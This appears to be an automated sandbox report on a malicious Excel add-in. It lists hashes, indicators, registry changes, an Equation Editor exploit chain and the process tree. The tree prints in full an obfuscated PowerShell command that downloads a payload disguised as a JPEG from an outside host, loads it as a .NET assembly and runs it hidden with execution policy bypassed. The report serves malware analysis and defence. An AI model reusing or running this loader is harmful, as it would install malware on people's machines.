dca28fc1be6424d51a5ff7f69d50c19b75631c5fabfcbfad25f8f69ee395cb01

Analysis

max time kernel
120s
max time network
123s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
18/09/2023, 08:49

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General

Target

100% TT COPY.xlam
Size

620KB
MD5

eb88893f73ee849e3b5d3652f03e3d77
SHA1

c5508f5ea2ea317d300d9d217937de549e3e3eee
SHA256

dca28fc1be6424d51a5ff7f69d50c19b75631c5fabfcbfad25f8f69ee395cb01
SHA512

cafa0b8d93cd408eb7093e1a6591bcb1df82d2dae95589c91d1cf2f24486631c6a8640c77ecfdf7c73abe1e441e151f62453dbd01bc524c6f4426a726a111211
SSDEEP

12288:C6nWWf7RrFwmoLHbcSs5CJIt2Wy1+wp4ghGgQt/7YWhR798J7Hd+z590xhfd3Qx:VZ9rFzBCJX5ddny9CLd+Cgx

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

exe.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
2	3068	EQNEDT32.EXE
4	3012	powershell.exe
6	3012	powershell.exe
8	3012	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
3068	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2064	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2808	powershell.exe
3012	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2808	powershell.exe
Token: SeDebugPrivilege	3012	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3068 wrote to memory of 2940	3068	EQNEDT32.EXE	29
PID 3068 wrote to memory of 2940	3068	EQNEDT32.EXE	29
PID 3068 wrote to memory of 2940	3068	EQNEDT32.EXE	29
PID 3068 wrote to memory of 2940	3068	EQNEDT32.EXE	29
PID 2940 wrote to memory of 2808	2940	WScript.exe	30
PID 2940 wrote to memory of 2808	2940	WScript.exe	30
PID 2940 wrote to memory of 2808	2940	WScript.exe	30
PID 2940 wrote to memory of 2808	2940	WScript.exe	30
PID 2808 wrote to memory of 3012	2808	powershell.exe	33
PID 2808 wrote to memory of 3012	2808	powershell.exe	33
PID 2808 wrote to memory of 3012	2808	powershell.exe	33
PID 2808 wrote to memory of 3012	2808	powershell.exe	33

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\100% TT COPY.xlam"
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2064

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:3068
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\UEB.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2940
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░1░░░DY░░░Mw░░░v░░░DY░░░Mg░░░x░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░dQBu░░░Gk░░░dgBl░░░HI░░░cwBv░░░F8░░░dgBi░░░HM░░░LgBq░░░H░░░░░░ZQBn░░░D8░░░MQ░░░2░░░Dk░░░M░░░░░░5░░░DM░░░MQ░░░4░░░DU░░░NQ░░░n░░░Ds░░░J░░░B3░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░g░░░D0░░░I░░░BO░░░GU░░░dw░░░t░░░E8░░░YgBq░░░GU░░░YwB0░░░C░░░░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBO░░░GU░░░d░░░░░░u░░░Fc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░Ds░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░CQ░░░dwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░LgBE░░░G8░░░dwBu░░░Gw░░░bwBh░░░GQ░░░R░░░Bh░░░HQ░░░YQ░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FU░░░cgBs░░░Ck░░░Ow░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBU░░░GU░░░e░░░B0░░░C4░░░RQBu░░░GM░░░bwBk░░░Gk░░░bgBn░░░F0░░░Og░░░6░░░FU░░░V░░░BG░░░Dg░░░LgBH░░░GU░░░d░░░BT░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░EI░░░eQB0░░░GU░░░cw░░░p░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░FM░░░V░░░BB░░░FI░░░V░░░░░░+░░░D4░░░Jw░░░7░░░CQ░░░ZQBu░░░GQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░EU░░░TgBE░░░D4░░░Pg░░░n░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBJ░░░G4░░░Z░░░Bl░░░Hg░░░TwBm░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░p░░░Ds░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░Ek░░░bgBk░░░GU░░░e░░░BP░░░GY░░░K░░░░░░k░░░GU░░░bgBk░░░EY░░░b░░░Bh░░░Gc░░░KQ░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwBl░░░C░░░░░░M░░░░░░g░░░C0░░░YQBu░░░GQ░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwB0░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░Kw░░░9░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░u░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ds░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BM░░░GU░░░bgBn░░░HQ░░░a░░░░░░g░░░D0░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░I░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░Ow░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░FM░░░dQBi░░░HM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Cw░░░I░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ck░░░Ow░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBD░░░G8░░░bgB2░░░GU░░░cgB0░░░F0░░░Og░░░6░░░EY░░░cgBv░░░G0░░░QgBh░░░HM░░░ZQ░░░2░░░DQ░░░UwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░KQ░░░7░░░CQ░░░b░░░Bv░░░GE░░░Z░░░Bl░░░GQ░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBS░░░GU░░░ZgBs░░░GU░░░YwB0░░░Gk░░░bwBu░░░C4░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░F0░░░Og░░░6░░░Ew░░░bwBh░░░GQ░░░K░░░░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░Ck░░░Ow░░░k░░░HQ░░░eQBw░░░GU░░░I░░░░░░9░░░C░░░░░░J░░░Bs░░░G8░░░YQBk░░░GU░░░Z░░░BB░░░HM░░░cwBl░░░G0░░░YgBs░░░Hk░░░LgBH░░░GU░░░d░░░BU░░░Hk░░░c░░░Bl░░░Cg░░░JwBG░░░Gk░░░YgBl░░░HI░░░LgBI░░░G8░░░bQBl░░░Cc░░░KQ░░░7░░░CQ░░░bQBl░░░HQ░░░a░░░Bv░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░B0░░░Hk░░░c░░░Bl░░░C4░░░RwBl░░░HQ░░░TQBl░░░HQ░░░a░░░Bv░░░GQ░░░K░░░░░░n░░░FY░░░QQBJ░░░Cc░░░KQ░░░7░░░CQ░░░YQBy░░░Gc░░░dQBt░░░GU░░░bgB0░░░HM░░░I░░░░░░9░░░C░░░░░░L░░░░░░o░░░Cc░░░d░░░B4░░░HQ░░░Lg░░░0░░░DU░░░Ng░░░3░░░Go░░░aw░░░v░░░Gw░░░d░░░░░░v░░░Dc░░░Ng░░░x░░░C4░░░MQ░░░2░░░DE░░░Lg░░░2░░░DU░░░MQ░░░u░░░DQ░░░OQ░░░v░░░C8░░░OgBw░░░HQ░░░d░░░Bo░░░Cc░░░KQ░░░7░░░CQ░░░bQBl░░░HQ░░░a░░░Bv░░░GQ░░░LgBJ░░░G4░░░dgBv░░░Gs░░░ZQ░░░o░░░CQ░░░bgB1░░░Gw░░░b░░░░░░s░░░C░░░░░░J░░░Bh░░░HI░░░ZwB1░░░G0░░░ZQBu░░░HQ░░░cw░░░p░░░░░░=='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('░░░','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2808
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
